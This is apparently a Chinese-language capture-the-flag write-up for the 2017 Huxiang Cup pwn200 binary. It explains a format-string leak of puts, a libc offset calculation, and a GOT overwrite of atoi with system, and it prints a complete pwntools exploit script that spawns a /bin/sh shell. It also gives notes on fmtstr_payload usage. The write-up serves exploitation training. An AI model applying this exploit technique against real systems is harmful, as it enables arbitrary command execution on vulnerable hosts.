参考链接:https://bbs.pediy.com/thread-224645.htm
考点:格式化字符串、GOT覆盖
思路:首先利用格式化字符串泄露出puts函数的实际地址,然后根据libc计算出system的地址。接着用得到的system的地址覆盖atoi的got地址,最后传入/bin/sh参数即可。
漏洞程序:
2017湖湘杯pwn200
漏洞利用程序:
from pwn import *
elf = ELF("./pwne")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
p = process("./pwne")
p.recvuntil("[Y/N]\n")
p.sendline("Y")
p.recvuntil("NAME:\n\n")
# 1.leak puts addr (AAAA%7$x)
data1 = p32(elf.got["puts"])+"%7$s"
print data1
p.sendline(data1)
p.recvuntil('WELCOME \n')
puts_addr=p.recv()[4:8]
# 2. calculate system addr
system_addr = libc.symbols["system"]-libc.symbols["puts"]+u32(puts_addr)
print hex(system_addr)
#p.recvuntil("GET YOUR AGE:\n")
p.sendline("17")
p.recvuntil("[Y/N]\n")
p.sendline("Y")
p.recvuntil("NAME:\n\n")
# 3.cover atoi got addr by system addr
atoi_got = elf.got["atoi"]
print hex(atoi_got)
data2 = fmtstr_payload(7,{atoi_got:system_addr})
print data2
p.sendline(data2)
# 4.pass system argv
p.recvuntil("GET YOUR AGE:\n\n")
p.sendline("/bin/sh")
p.interactive()
实验结果:
关键点:
1)泄露地址时,输入AAAA%7$x得到41414141即地址和参数的偏移为7,那么如果把AAAA换成地址,%7$x换成%7$s则就将地址打印出来了
2)fmtstr_payload的用法
fmtstr_payload( offset, writes, numbwritten=0,write_size=‘byte’)
– offset: 可控的栈偏移
– writes:是一个字典{addr:value}
– numbwritten : 通过printf函数已经写入的字节大小
– write_size : 必须是byte, short或int,表示是%hhn, %hn或%n传数据